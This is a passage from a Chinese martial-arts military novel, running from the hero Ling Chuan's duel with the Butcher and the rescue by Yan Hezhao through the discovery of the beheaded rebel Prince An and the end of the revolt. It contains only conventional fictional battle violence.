坚固的盾墙在名剑锋芒前如同纸糊,瞬间被撕裂出数道巨大的缺口,六把长剑去势不减,如穿腐木,将盾后多名亲兵当场洞穿! 几乎在同一瞬间,凌川率领的前排骑兵已杀至眼前,战马毫无惧色,扬起前蹄重重踏上残破的盾墙,在一片沉闷的撞击声中,本已摇摇欲坠的防线彻底崩溃。 “嗤嗤嗤……” 长枪精准而冷酷地刺出、收回,循环往复,如同无情的杀戮机器,前排骑兵只管维持锋线,无论有没有刺中敌人要害,都绝不会再补枪,如一道浪潮向前推进。 至于那些被刺伤未死的敌人,则交由后排骑兵处理。 后排骑兵右手紧握战刀,左手平端匣子弩,在这种近距离混战中,匣子弩的连发特性与强大杀伤力被发挥到极致,弩箭泼洒而出,叛军纷纷倒地。 凌川手中破殇锋泛起淡金色光芒,一枪挑飞一名企图阻拦的叛军将领,势不可挡。 安王亲兵组成的防线已被冲得七零八落,他们虽不断放箭还击,但对凌川部众造成的伤害有限。 这主要归功于他们的铠甲远比寻常甲胄坚固,防护更为周全,寻常箭矢难以及身。 终于,凌川一骑当先,彻底凿穿了敌阵,他毫不停留,驾驭黑风直扑那座最为显赫的中军大帐。 身旁,沈七岁与一禅小和尚紧随左右,师门交付的任务是护佑凌川安全抵达神都,此等险境,他们自然寸步不离。 身后的残局,则完全交给了那四百如狼似虎的精骑,相信以他们的战力,清扫这些已被打散阵型的残敌,不过是时间问题。 三人飞身下马,径直冲向大帐。守在帐口的几名亲兵刚欲拔刀,便被如流星般射来的飞剑瞬间斩杀,未能做出任何像样的抵抗。 第一卷 第378章 屠夫出手 凌川抬起破殇锋的枪尖利落地挑开大营门帘,然而,账内映入眼帘的并不是对准自己的刀剑弓弩,而是一道撕裂空气、迎面斩来的刺目寒芒! 刹那间,一股冰冷彻骨的杀机将凌川全身笼罩。 这杀机与那夜蛇王的阴毒诡谲截然不同,它堂堂正正,却蕴含着暴戾与霸道,仿佛要将眼前一切碾为齑粉。 凌川只觉得周身空气凝固,四肢如同被无形枷锁禁锢,难以动弹。 就在这千钧一发之际,他气海丹田深处猛然涌出一股灼热气流,如沉睡的巨龙苏醒,瞬间冲垮了那令人窒息的威压束缚! 这股力量随即决堤般奔涌向四肢百骸,凌川只觉浑身充满了前所未有的爆炸性力量。 “喝!” 他一声暴喝,不退反进,雄浑的力量灌注双臂,破殇锋化作一道金色寒芒,悍然刺向那道夺命寒芒! “当!” 一声震耳欲聋的巨响爆开,火星四溅! 那凝聚的寒芒应声炸碎,而凌川却如断线风筝般倒飞出去两丈多远,重重砸落在地。 双臂瞬间麻木失去知觉,破殇锋脱手飞出,叮当落地,与此同时,其体内那股刚刚涌现的力量仿佛脱缰野马,疯狂窜动,震得他五脏六腑翻江倒海。 “噗……” 喉头一甜,一口鲜血不受控制地喷溅而出。 凌川强忍剧痛,抬眼望去,只见一名五短身材、衣着邋遢、满面虬髯的中年胖子,正缓步从帐内走出。 他袍襟上沾满油污,手中提着一把血迹斑斑的杀猪刀,周身弥漫的凶戾之气几乎凝成实质。 “嗯?” 中年胖子眼神中闪过一抹疑惑与震惊,随即暴怒道:“该死的穷秀才,竟敢算计老子!”中年胖子目光如钩,死死锁定凌川。 凌川已然猜到,此人正是当日被云书阑拦下的衡水屠夫,云书阑曾告诫他,此人绝不会善罢甘休,但凌川万万没想到,他竟会出现在安王的中军大帐。 难道,幕后买凶之人,竟是安王? 此刻的凌川浑身剧痛,骨架仿佛散开,根本无力深思这个问题。 就在这时,小和尚来到他身后,伸手搭在他的肩膀上,顿时,凌川感觉一股平和醇厚的暖流缓缓渡入体内。 在这股佛门真气的安抚下,凌川体内狂乱窜动的真气逐渐平息,痛楚稍减,但双臂依旧麻木,虎口崩裂,鲜血淋漓。 由此可见,方才那一击有多恐怖! “刚凝出真气,便能接下老夫一刀,有点意思!”屠夫语气平淡,却带着猫捉老鼠般的戏谑,提着杀猪刀,一步步逼近。 “老东西,让小爷来会会你!”沈七岁一声清叱,身影一闪,已挡在凌川身前,那个巨大的剑匣“咚”地一声顿在地上。 屠夫眼皮都未抬一下,漠然道:“若是萧剑离亲至,老夫自会避让三分。至于你……再练十年,或许有资格让老夫动刀!” “狂妄!”沈七岁怒喝,掌心猛地拍向剑匣顶端。 咔嚓一声,匣盖再开,六把流光溢彩的飞剑应声激射而出,化作六道凌厉剑虹,带着尖锐破空声,刺向屠夫! 面对这精妙的御剑之术,屠夫竟依旧不闪不避,只是随意抬起衣袖一挥,一股磅礴无形的罡气如潮水般涌出,瞬间撞上六把飞剑。 “嗡嗡嗡……” 飞剑发出颤鸣,纷纷被震得倒飞出去。 “定!” 沈七岁双手捏剑诀,极力将那六把被震飞出去的飞剑定住,随即剑指舞动,六把飞剑调转锋芒,再次朝着屠夫飞去。 这一次,六把飞剑不再是朝一个方向,而是从不同方向飞来,每一把剑都有着自己独特的轨迹。 “斩!” 沈七岁轻喝一声,六把飞剑猛然加速,或疾刺而来、或凌空斩下、或迎面横扫、或旋转绞杀…… 屠夫眼中终于掠过一丝惊异,他早闻蜀山剑宗近年出了一位绝世天才,乃萧剑离十年前带回,代师收下那位少年为小师弟。 却不想这少年,竟已将蜀山公认最难修炼的《御剑真诀》练到如此收发由心、分化由意的境界! 他不想得罪蜀山剑宗这尊庞然大物,但,并不意味着他就怕了蜀山。 毕竟,自己孤家寡人一个,就算是杀了这少年,大不了亡命天涯,或是找个没人的地方躲起来,从此远离江湖。 面对沈七岁御剑杀向自己,他再次出手,只不过这一次却动用了那把杀猪刀,只见他轻描淡写地抬手一刀划过。 “叮叮当当……” 一连串清脆密集的金铁交鸣声几乎叠成一声长响。 那六把轨迹各异、迅若闪电的飞剑,竟在同一瞬间被精准地震飞出去,原来方才那看似轻描淡写的一划,实则在电光石火间连出六刀,其速之快,肉眼难辨! 但,他这一刀与那夜杨铁匠在岊湬阁出的那一剑表面看起来异曲同工,实则却是截然不同。 屠夫这一刀是将速度发挥到极致,以至于肉眼难以捕捉,而杨铁匠那一剑却是将剑道发挥到极致,以至于那本就缓慢而平淡的一剑,释放出惊世骇俗的威力。 “噗!” 沈七岁连退三步,面色惨白,一缕鲜血自嘴角溢出,飞剑与他气机相连,受此重击,他内息顿时紊乱,已然受了内伤。 “老夫不想与蜀山、空观寺结怨,但若尔等小辈执意阻拦,老夫也不介意……抹杀天才!”屠夫声如寒冰,周身杀气陡然飙升,如同实质般压向众人。 “阿弥陀佛。” 一禅小和尚盘坐于地,双掌合十,低诵佛号,周身隐隐有淡金色佛光流转,将那迫人杀气抵挡在外。 “良言难劝该死的鬼!既然给脸不要脸,老夫便送你们一同上路!” 屠夫彻底被激怒,爆喝一声,手中杀猪刀再次扬起。 磅礴真气透体而出,在他周身形成翻滚的气浪,一道比之前更加刺目、更加冰冷的巨大刀芒凭空凝聚,携着碾碎一切的霸道杀意,如泰山压顶般,朝着丈许之外的凌川当头斩落。 刀芒未至,那凝练如黑云的杀意已先将凌川死死压制,他感觉周身空气变得粘稠如胶,每一寸肌肤都承受着千钧重压,连呼吸都变得极其困难。 刀芒每下落一尺,那股毁灭性的压力便暴涨数分,几乎要将他压垮在地! 第一卷 第379章 般若金钟罩 就在那道霸道刀芒即将斩落,将凌川一分为二的瞬间。 “嗡!” 一道璀璨金光自凌川身前拔地而起,凝实化作一口由无数繁奥金色符文交织而成的巨钟,将凌川与身后的小和尚一禅牢牢护在其中。 般若金钟罩! 几乎在同一时刻,那丈余长的恐怖刀芒已轰然斩落,正中金钟顶部。 “当!” 一声洪钟大吕般的巨响震彻四方,金色符文剧烈闪烁,随即如同风中灰烬般片片崩碎、湮灭。 “噗……” 小和尚一禅身躯震颤,一口鲜血喷出,溅在凌川银白的铠甲上,触目惊心。 而那刀芒虽黯淡了几分,却并未溃散,只是微微一顿,便继续携着余威,朝着金钟庇护下的凌川无情斩下。 不远处,黄淙等人目睹此景,顿时目眦欲裂,惊呼出声。 可他们被叛军缠住,根本无法脱身,只能眼睁睁看着那死亡刀芒落下。 电光石火之间,刀芒距凌川头顶已不足三尺,凌厉的劲风已吹乱他的发丝。 然而,就在这生死一线之际,那势不可挡的刀芒竟猛地一滞,仿佛撞上了一堵无形的壁垒。 “咔嚓……” 一声细微却清晰的碎裂声响起,只见刀芒之上,瞬间布满蛛网般的裂痕,迅速蔓延至整个刀身。 下一刻,刀芒应声崩碎,化作点点流光,消散于空中。 屠夫双目圆瞪,难以置信地望向凌川身前。 随着刀芒散尽,只见一道身影不知何时已悄然屹立在那里。 来人年约四旬,面容冷峻如万载寒岩,一双鹰目锐利得仿佛能洞穿人心。 身着螭纹服、脚踩踏星靴、头顶垂云冠,胸襟之上绣着一柄栩栩如生的金刀。 最显眼的是胸前绣着的那柄栩栩如生的金刀徽记,这足以说明其身份。 廷尉府九大都统之一! 即便只看到一个背影,凌川也瞬间认出了此人身份。 “阎鹤诏!”屠夫看清来人,顿时咬牙喝道,“你不在北疆待着,跑来管老子的闲事?” 来人正是坐镇北境七州,威名赫赫,人称‘活阎罗’的廷尉府都统,阎鹤诏! 阎鹤诏目光如刀,冷冷锁定屠夫,语气平淡得没有一丝波澜:“路过而已!” “放屁!”屠夫气得须发皆张, 谁路过能到这战场中来?如此蹩脚的借口,狗都不信! 阎鹤诏却不理会他的暴怒,只是淡淡道:“杀猪匠,看来你是忘了当年被我一路从神都追到西域的滋味了!” “你……”提及旧事,屠夫瞬间面色铁青,怒火攻心。 那是他毕生最大的耻辱,当年神都一战败北后,他被阎鹤诏如附骨之蛆般追杀了整整半年,惶惶如丧家之犬,最终只能远遁西域才得以喘息。 江湖传言,活阎罗有三大绝技,其中最令人闻风丧胆的,便是他手中那柄阎罗刀,号称一刀断生死。 此人性格孤傲至极,寻常对手连让他拔刀的资格都没有。 而他更有一个古怪规矩,无论对手所犯何罪,只要能接下他一刀不死,他便给予对方三日逃命时间,三日之后方再行追捕。 当年屠夫便是被他一刀击败,而后经历了那场长达半年的噩梦般的追杀。 只见阎鹤诏缓缓抬手,握住了悬于腰间的螭玄金刀刀柄,一股远比屠夫更加凝练、更加冰冷的杀气弥漫开来。 “还不走?”他语气依旧平淡,却带着不容置疑的压迫感,“是想再尝尝阎罗刀的滋味吗?” 屠夫瞳孔猛然收缩,显露出深深的忌惮。 阎鹤诏继续道:“这一次,我若再出刀,你可就没有那三日的喘息之机了!” 屠夫胸口剧烈起伏,眼中充满了不甘与挣扎。 这些年来,他无时无刻不想着找阎鹤诏雪耻,可当此人真正站在面前时,那股源自灵魂深处的恐惧和那道心魔般的阴影,却让他握刀的手都微微颤抖。 他清晰地感觉到,眼前的阎鹤诏,比当年更加深不可测。 事实上,屠夫这些年之所以修为停滞不前,很大原因便是源于阎鹤诏,当初二人皆是江湖中用刀的顶尖高手,虽然在此之前并未交手,但都将彼此当成了自己的假想敌。 神都那一战,他们无论是谁战胜对方,都将成为天下第一刀。 然而,阎鹤诏只用了一刀,便将其击败! 也正是这一刀,在屠夫心里留下了难以磨灭的阴影,甚至都成了他的心魔,以至于这些年他的修为非但停滞不前,还隐隐有跌落的迹象。 其实,真正的高手过招,一招分胜负和大战三百回合才分胜负,并无本质上的区别。 最终,那沸腾的杀意与怒火,还是被理智压了下去。屠夫周身弥漫的凶戾之气缓缓消散,他死死盯着阎鹤诏,从牙缝里挤出一句话:“阎鹤诏,总有一天,老夫必雪当年一刀之耻!” 阎鹤诏嘴角勾起一抹极淡的不屑:“当年神都,是你离我最近的一次!自那日后,你便再无可能追上我!” 平淡的语气,却蕴含着无与伦比的自信与孤高。 屠夫不再多言,只是阴狠地瞥了凌川一眼,旋即身形一晃,几个起落便消失在混乱的营地之中。 他并不担心阎鹤诏背后出手,因为如他这般骄傲的人,不屑于此。 此时,凌川带来的四百精骑已浴血将安王的亲兵队斩杀殆尽,然而,四面八方传来密集的脚步声和呐喊声,更多的叛军正从战场各处蜂拥而来,试图回援中军。 “列阵!御敌!” 不需凌川下令,幸存骑兵中一名军官便发出冷峻的指令。 数百骑士迅速收缩,结成一道紧密的圆阵,长枪对外,弓箭上弦,即便深陷重围,每个人脸上唯有冰冷漠然,不见丝毫慌乱。 阎鹤诏这才转过身,看向勉强站起的凌川:“还撑得住吗?” 凌川抹去嘴角血迹,苦笑道:“暂时还死不了,不过阎都统您要是再晚来片刻,大概就只能替我收尸了!” 他严重怀疑,阎鹤诏早已到场,迟迟不出手,就是想看他吃些苦头。 在进入定州前,凌川确实接到了廷尉府的密信,这才轻易识破了谢允的苦肉计,只是他当时以为是定州本地的廷尉府成员,万没想到竟是这位北境活阎罗亲至。 时间紧迫,容不得细究,凌川强忍体内翻腾的气血和双臂的剧痛,在沈七岁和小和尚的搀扶下,跟着阎鹤诏走向那座象征着叛军核心的中军大帐。 必须尽快擒下安王,方能瓦解叛军斗志,扭转整个战局。 然而,当凌川一步跨入营帐时,映入眼帘的景象却让他瞳孔一缩。 身穿四爪蟒袍的安王,确实端坐在主位之上。 只是,他的头颅,已被齐颈斩下,端正地摆放在他面前的桌案之上。 第一卷 第380章 安王授首 营帐后方,五道身影正策马狂奔,朝着南面远去。 领头之人不是别人,正是之前常伴安王身边的那名书生幕僚,他身后跟着四名身着铠甲的男子,这四人此前皆是安王帐下的将领。 “莫先生,咱们现在去何处?”一名男子开口问道。 “先离开定州再说!”年轻书生冷声回答道。 另一人也策马来到他左侧,问道:“先生,此次行动失利,会不会受到责备?” 听闻此言,年轻书生眼神中闪过一抹不甘与愤怒,说道:“咱们已经尽力了,只怪周列安那个废物太无能,如此周密的布局与谋划,竟然未能拿下定州!” 那名随从也轻叹一声,满脸不屑地说道:“这种蠢货还妄想窥视帝位,真是不知天高地厚!” 莫姓书生嘴角浮现出一抹冷笑,并未说话。 他自然知道安王目光短浅、胸无大志,若不是自己唆使,他这一辈子都是一个碌碌无为的闲散王爷,可在自己三言两语的挑唆下,他竟然真的生出了不臣之心。 自己用了几年的时间帮他谋划布局,从培养死士到暗中收买定州将领、培养自己的嫡系军队,一步一步将他带向深渊。 安王还在庆幸自己得到贵人辅佐,可他又哪里知道,自己所做的一切都是在利用他。 原本想着,这次先拿下定州,以此牵制定州周围的兵力,进而影响天下局势,为整个计划赢得时间,哪曾想在关键时刻杀出个凌川,竟然将他所有计划打乱,数年的布局付诸东流。 他内心不甘,却又无可奈何! 书生回头看了一眼军营方向,沉声说道:“凌川此人绝非池中之物,必须想尽办法将其除掉,否则,后患无穷!” 或许安王直到死,还在做自己的帝王美梦,他更想不到,一向为自己出谋划策、忠心耿耿的智囊莫先生会对他下杀手。 大帐之外,叛军如潮水一般从四面八方涌来,这是那书生离开之前,他假借安王之口下达的最后一道命令,至于能否干掉凌川,那就不是他能掌控的了。 大帐前! 四百精骑严防死守,哪怕四周被围得水泄不通,看着密密麻麻的叛军朝着他们冲过来,也没有人退缩半步,皆是拼死抵抗。 每个人的眼神中都写满了决然,脑海中只有一个念头,那就是守住这里为将军赢得时间。 而就在此时,一支骑兵从东南方向疾驰而来,宛如一把利剑直插中军大帐。 领头之人手持一杆长矛,大喝道:“铁瓮关娄星野,前来平叛!” “杀……” 喊杀声骤起,娄星野率军杀来,孟钊紧跟在其身边,当远远看到大量叛军将那座中军大帐围得水泄不通的时候,他更加着急,顾不得其它,一马当先冲了出去。 “所有人跟上!”娄星野见状,也大喝一声,催促身后队伍紧跟孟钊的步伐。 大帐跟前,一名叛军校尉大喊道:“杀了他们,保护王爷!” 就在此时,凌川自大帐中冲了出来,翻身来到马背上,高举手中银枪。 “安王已死,放下武器一律不杀!” 听闻这一声大吼,一众叛军抬眼望去,只见那杆长枪之上钉着一颗头颅,赫然是他们的主子安王。 霎时间,所有叛军都懵了,一个个仰头看着那颗血淋淋的头颅,脑海中一片空白。 那些将领对于安王谈不上什么忠心,之所以跟着他造反,大多是因为安王许诺的荣华富贵。 至于那些士兵,在起兵之前,他们根本就不知道是造反,他们接到的命令的定州将军许知白造反,安王临时接管大局,带他们去平叛。 等他们围住定州之后,才得知造反的并非许知白,而是他们跟随的安王,他们稀里糊涂地成了叛军。 然而,彼时的他们已经上了贼船,根本没有退路,很多选择逃走,亦或是不答应跟着安王造反之人,都被当众处决,以至于他们只能掐灭心中的念头。 “安王已死,放下武器一律不杀!”凌川再次大吼。 不少士兵内心已经动摇,就在此时,一名将领大吼道:“别上当,那不是王爷的人头,王爷已经提前……” 然而,那名将领话还没说完,一直铁箭从远处飞来,直接将他的咽喉洞穿。 那名叛军将领摔落马背,顿时引发了一阵骚乱,而就在此时,娄星野率领的三千骑已经杀到,他手中长矛如毒蛇一般刺出,将一名叛军校尉洞穿。 随即,他双手持矛,将其挑离马背,大吼道:“谁敢乱动,杀无赦!” 见到这三千骑赶到,凌川也终于松了一口气,而那些叛军也彻底泄气,有人选择放下武器投降,紧接着越来越多的人丢掉武器。 安王授首,大帐外的叛军全部被拿下,可战斗并没有结束。 主战场的厮杀依然还在继续,而且,双方的战斗已然进入了白热化。 此外,洛青云、苍蝇等人率领的四支队伍也与所在方位的叛军交上了手,每时每刻都在死人,必须尽快平复战乱。 “将军,您没事吧?”孟钊满脸担忧地赶到凌川身边,问道。 凌川摇了摇头,说道:“干得不错!” “铁瓮关都尉娄星野,参见镇北将军!” 娄星野翻身下马,躬身抱拳行了一礼,随即双手捧着那块御赐令牌,递到凌川跟前。 凌川接过令牌,点头说道:“娄都尉不必多礼,多亏你及时赶到,否则,我等已经葬身沙场了!” “将军有令,属下岂敢不从!”娄星野回答道。 他本是晋川铁瓮关的守将,凌川若非有陛下御赐的令牌,特许他在神都之外的任何地方调动三千兵马,自己哪怕军职高于对方,也不可能调动其麾下兵马。 “娄都尉,情况紧急,主战场还在厮杀,请你带领麾下将士,随我驰援!”凌川开口说道。 “末将遵命!”娄星野抱拳答应,随即翻身上马大喊道:“所有人听令,随我杀向主战场!” 片刻之后,凌川带领麾下精骑与娄星野的三千骑一起,列阵杀向主战场。 竖在大营的那面‘安’字王旗被斩落,旗杆之上悬挂着安王的头颅,以及那件金线所绣的四爪蟒袍。 凌川原本让沈七岁和小和尚留下养伤,然而两人却不答应,非得跟着凌川继续杀敌。 第一卷 第381章 平定叛乱 随着他们这支队伍从叛军阵营后方杀来,直接给叛军打了一个措手不及,事实上,此时叛军阵营已经是一片混乱,他们虽是安王倾尽家底培养出来的精锐,但在许知白的定州军主力面前,还是稍逊一筹。 若非他们占据兵力上的优势,恐怕此时已经出现溃败的局面了。 当发现久攻不下,叛军便开始从周围军镇调兵前来支援,奈何,周围绝大部分的兵力都被洛青云和苍蝇等人的四支队伍给死死牵制,根本脱不开身。 “安王伏诛,投降不杀!” 伴随着齐声大吼响起,所有叛军都下意识朝着这边看来,当他们看到那根旗杆之上的‘安’字王旗已经不见,取而代之的是一颗带血头颅和一件染血蟒袍之后,所有人内心瞬间冰凉。 范旗山自然也看到了旗杆之上的蟒袍和人头,虽说太远看不清那人头的样貌,但,那件带血蟒袍绝对是货真价实,他知道,安王十有八九是真被斩首了。 心知大势已去的他,就要撤走,然而,许知白已经将他锁定。 “叛将哪里走!”许知白大喝一声,尽管他浑身染血,多处受伤,但依旧勇猛异常,提起半月戟枪比便朝着范旗山追去。 事实上,范旗山的伤势比许知白只重不轻,此时得知大势已去,逃窜得异常狼狈。 凌川也看到了那一追一逃的二人,立马就要策马去追,娄星野却开口说道:“将军,您有伤在身,让末将去杀他!” 凌川点头答应,一来是他硬接屠夫一刀,虎口开裂,双臂也使不上劲。 他虽不知娄星野的底细,但从他刚才直接将一名叛军校尉挑起来,足以说明其实力不弱。 还有一个原因,那就是对方这么远出兵救援,怎么也要让他捞一笔军功。 娄星野策马疾驰,直接截住了范旗山,他没有任何废话,手中长矛向下一扫,将范旗山胯下坐骑的前腿硬生生砸断。 伴随着一声嘶鸣,那战马翻滚倒地,范旗山也被甩飞了出去,正要起身,娄星野已经纵马杀来。 “受死!” 长矛如寒星一般点出,直取范旗山的胸口。 后者顿时一惊,就地翻滚避开这致命一击,随即趁势起身,然而,娄星野却主动翻身下马,一个飞踢揣在其胸口。 范旗山踉跄倒退,嘴角溢血。 就在此刻,许知白也已经杀了过来,手中半月戟枪横扫,重重砸在其肩膀上。 伴随着骨头碎裂的声音,范旗山半边肩膀直接塌了下去,娄星野趁机出手,刺中其大腿,二人合力,轻松将其拿下。 “哈哈,许将军宝刀未老,不减当年啊!”娄星野大笑道。 许知白摇了摇头,满脸疲惫显露无疑,叹息道:“不中用了,要是再年轻十岁,这种货色我连十个回合都不用!” 显然,二人本就相识。 许知白顾不上与他叙旧,连忙问道:“凌将军如何了?” “凌将军没事,他就在那边!”娄星野指着挂着金线蟒袍的旗杆方向说道。 许知白抬眼望去,只见一名身着银甲的年轻男子端坐马背之上,手持长枪,英姿卓绝,自有睥睨气概! “果真是英雄出少年啊!”许知白感叹道。 随着范旗山被擒,战斗也逐渐停止,不少叛军选择投降,也有人选择逃跑。 对于那些逃跑的叛军,凌川并未阻止,因为,他需要这些叛军将主战场溃败和安王授首的消息传出去,让外围那些叛军放弃抵抗。 至此,这场战斗已经没有任何悬念,许知白第一时间派出一支小队前往定州大仓运粮做饭,而凌川则是让黄淙带人去将苏璃等人接过来。 一直到天黑,战场才勉强处理干净,所有叛军俘虏皆被集中关押,现在不是处理他们的时候。 这一战,定州军损失惨重,毕竟,严格来说,交战双方绝大部分都是定州军,只是他们或被收买,或被蒙骗成了叛军,真正安王培养的嫡系,只有少数,而且,多为原定州军中的将领。 凌川这边,伤亡同样不小,四百多精骑有近百人战死,剩余半数受伤。 反倒是被一分为四的亲兵队损失不大,毕竟他们除了对叛军将领实施斩首之外,其它大部分时间都在队伍后方,扮演着督战队的角色,可即便如此,还是有二十余人丧生。 这便是战争,冰冷而残酷、邪恶而血腥! 北门外,凌川远远便看到苏璃的车队,他迅速策马赶了过去。 “相公,你没事吧?”苏璃直接从车内钻了出来,满脸担忧地问道。 凌川摇了摇头,说道:“我没事!” 他来到马车上,苏璃便迫不及待地检查他的身体,“娘子,我真没事!” “还说没事,你都流血了!”苏璃温柔地为他擦去嘴角的血迹,眼眶中泪花闪烁。 进入城中,凌川的队伍被安置在刺史府,定州刺史之前已经被安王用把柄威胁,进一步将其收买,按照此前的计划,便是他在城中策应,结果计划失败,被许知白拿下之后关在大牢之中。 此时,城中很多百姓和士兵都饿得站不起来,正在加紧做饭。 同样,本就没有吃饱的定州军,经历一番激战之后,很多人也已经严重脱力,宛如尸体一般躺在地上。 城中所有的军医和郎中都被召来,为受伤的将士们处理伤口,凌川也让苍蝇将车队中携带的金创药分发了下去,此外还拿出几坛狼血,主要用于给大家清洗伤口。 苏璃也细心为凌川清洗了伤口,然后撒上金疮药粉,将一双虎口包了起来。 之前硬接屠夫一击,凌川所受的不仅仅是外伤,还有内伤,不过,凌川并没有感觉体内有什么不适,也就松了一口气。 连番激战让他疲惫不堪,很快便沉沉睡去,一直到次日中午才醒来。 刚醒来便闻到一股浓烈的中药味,出门一看,翠花正在煎药,便开口问道:“翠花,夫人呢?” “将军,您醒啦?”翠花激动地说道:“夫人正在做饭,让我看着药!” “谁的药?”凌川问道。 “这是夫人专门给将军煎的药!”翠花回答道。 第一卷 第382章 宗师不入沙场 凌川来到院中,只见杨铁匠正斜倚在石桌旁打盹,斑白的头发显得有些凌乱,呼吸略显微弱无力,仿佛周遭的一切纷扰都与他无关。 “杨师傅,感觉如何?”凌川走近,在他身旁的石凳上坐下,轻声问道。 杨铁匠懒洋洋地睁开眼,瞥了他一眼,声音带着刚睡醒的沙哑:“我老头子一时半会儿还死不了,倒是你,昨天差点把小命交代了!” 凌川自然知道他指的是硬接屠夫那一刀的事,苦笑着摇头:“你当时又不在,我能有什么办法?” 说着,他伸手便要去拿杨铁匠放在石桌上的酒葫芦,却被对方一抬手,精准地扣住了手腕。 凌川本想笑他小气,却见杨铁匠神色异常严肃,不由得一愣。 “硬接八重境武修一击,竟然没受伤?”杨铁匠目光如炬,声音中带着几分难以置信。 “怎么没受伤,我当场就吐血了!”凌川无奈道,“要不是沈七岁和一禅和尚拼死护着,我恐怕真就回不来了。” 杨铁匠缓缓松开手,眼神中闪过一丝难以捉摸的光芒,用几乎只有他自己能听到的声音喃喃道:“果然玄妙……” 凌川闻言心生疑惑,追问道:“你刚才说,那杀猪匠是八重境高手?” 杨铁匠嗤笑一声,语气满是不屑:“八重境,勉强只能算半个高手!” 凌川先是一惊,随即想到对方的身份,也就释然了。 他好奇地凑近些,问道:“杨老头,那晚被你一剑解决的蛇王,是几重境?” “九重!”杨铁匠轻描淡写地吐出两个字,仿佛在说一件再平常不过的事。 九重境! 那可是号称宗师之下无敌的存在,竟然被杨铁匠一剑秒杀。 凌川心中震撼,愈发觉得眼前这位邋遢的铁匠深不可测。 他忍不住问出心中盘桓已久的疑问:“像你们这样的宗师境高手,若是踏上战场,岂不是如入无人之境,万军之中取上将首级如探囊取物?” 杨铁匠转过头,像看傻子一样看了他,半晌才悠悠开口:“你小子是在拿我寻开心?” “武道宗师个人实力确实是世间无敌的存在,抬手便可杀十人,亦可做到斩杀百人全身而退,但若是遇到千人又当如何?如果千人不够,万人呢?” 杨铁匠往嘴里灌了一口酒,继续说道:“两百年前,中原一代宗师卫横秋于西疆蜃楼关一人独战三千骑,杀前三百人气势如虹,杀至五百人已现颓势,杀至八百人已近力竭,最终拼得真气枯竭、经脉尽断,杀敌千余,最终被一籍籍无名的小卒一枪钉死!” 凌川闻言,内心不由得为之一惊,以一己之力斩杀千人,这已经是惊世骇俗的战力了,但,也证明了,哪怕是宗师在战场上也并非无敌的存在。 想想也对,若宗师境高手真能在万军大阵中来回冲杀如入无人之境,那帝国也不需要花费如此多的军费来养这么多的边军,只需竭尽全力培养武道高手就行了。 “无论你的武功多么高强,内力多么浑厚,总有耗尽的那一刻,但是那些重赏之下的士兵,面对荣华富贵和高官厚禄,他们只会义无反顾地扑向你,如潮水一般将你淹没……当神流血的那一刻,你就该知道,人亦可弑神!”杨铁匠沉声说道。 “这么说,宗师境强者拼尽全力,斩杀千人已是极限?”凌川若有所思。 杨铁匠却意味深长地笑了笑:“宗师亦有高下之分!而且,千百年来,明确死在战场上的宗师,也就卫横秋一人,再无其他战例可作比较了。” 这时,苏璃端着一碗热气腾腾的药汤轻盈走来:“相公,快趁热把药喝了!” 凌川接过药碗,一股浓烈刺鼻的药味顿时扑面而来,让他忍不住皱了皱眉。 杨铁匠见状哈哈一笑:“苏丫头,他的伤已无大碍,这药钱怕是白花了。” 苏璃闻言顿时喜上眉梢:“杨师傅,您说的是真的?” 杨铁匠点了点头,站起身拍了拍屁股,晃晃悠悠地朝屋里走去。 “嘿嘿,娘子一番心意,我怎能辜负?”凌川笑着端起药碗,一饮而尽,放下碗时,整张脸已经皱成了苦瓜状。 “好啦,既然杨师傅都说没事了,相公何必勉强!”苏璃忍俊不禁,取出绣帕温柔地替他擦拭嘴角。 恰在此时,苍蝇大步流星地走进院子,见到夫妻二人亲密的样子,赶忙转身欲走。 “有事就说,鬼鬼祟祟的做什么?”凌川背对着门口,却清晰地捕捉到了他那细微的脚步声。 苍蝇轻咳一声,略显尴尬地说道:“将军,许将军派人来请您去一趟将军府。” 凌川站起身,对苏璃柔声道:“娘子,我过去一趟。” 苏璃乖巧点头,细心地为他整理了一下衣袍领口:“嗯,早去早回!” 将军府离得不远,凌川只带了苍蝇和孟钊二人随行。 途中,他问苍蝇:“兄弟们的伤势处理得怎么样了?” “大部分弟兄都是皮外伤,没什么大碍,有二十多人伤得较重,恐怕要养上一段时日。还有十几个弟兄……怕是会落下残疾!”苍蝇的声音低沉了几分。 凌川沉默片刻,沉声吩咐:“让受伤的弟兄们都留在定州好好养伤,务必安排人手妥善照料!” “将军放心,已经安排妥当了。”苍蝇连忙应道。 来到将军府门前,只见手臂缠着绷带的许知白,率领一众身上或多或少都带着伤的将领,早已肃立等候,见到凌川到来,众人齐刷刷单膝跪地,声音洪亮: “参见镇北将军!” 这阵势让凌川吃了一惊,许知白乃是正四品忠武将军,堂堂一州主将,纵然自己是陛下钦封的镇北将军,也不敢托大。 他急忙上前双手扶起许知白:“许将军万万不可,您职位比我高,资历比我老,我一个后生晚辈万万担不起如此大礼!” 许知白就着凌川的搀扶站起身,神情真挚,眼眶微红:“许某这一拜,与官职资历无关,是代定州十多万百姓,谢过凌将军的救命之恩!” 第一卷 第383章 幕后黑手 凌川连忙示意其他将领起身,正色道:“将军言重了,你我虽分属不同州府,但同为大周将领,守护百姓本就是吾辈职责所在,何分彼此?” 许知白重重握住凌川的手,连声道:“说得好!凌将军,快里面请!” 众人刚将凌川迎入府中落座,门外便传来一阵爽朗的笑声。 “哎,这人和人的待遇可真是不一样啊!凌将军到来,是全府出动相迎,我这个小小都尉来了,却是连个看茶的人都没有!”只见娄星野一边笑着打趣,一边大步走了进来。 许知白见状不由笑骂:“好你个野小子,竟敢在我面前摆起谱来了!怎么,要不要老夫给你磕一个?” 娄星野连连摆手,笑道:“不敢不敢,晚辈就是开个玩笑!您要真这么做了,回头陈老将军非扒了我的皮不可!” 他口中的陈将军,正是晋川主将陈闻远。 陈闻远与许知白是战场上过命的交情,娄星野作为陈闻远麾下都尉,早年便与许知白相熟,此刻说话才这般随意。 桌上摆着几样简单的酒菜,虽不奢华,却透着一股劫后余生的实在。 许知白坐在主位,凌川与娄星野分坐两侧,其余将领依次落座,气氛肃穆中带着一丝疲惫后的松弛。 “来,这一杯,敬两位将军!”许知白率先举杯,声音洪亮却带着真挚的感激,“若非二位鼎力相助,此时的定州城,恐怕已落入叛军之手,生灵涂炭!” 娄星野连忙端起酒杯,谦逊道:“许将军言重了,属下不过是奉命行事,锦上添花而已。此番破局,全赖凌将军运筹帷幄,神机妙算!” 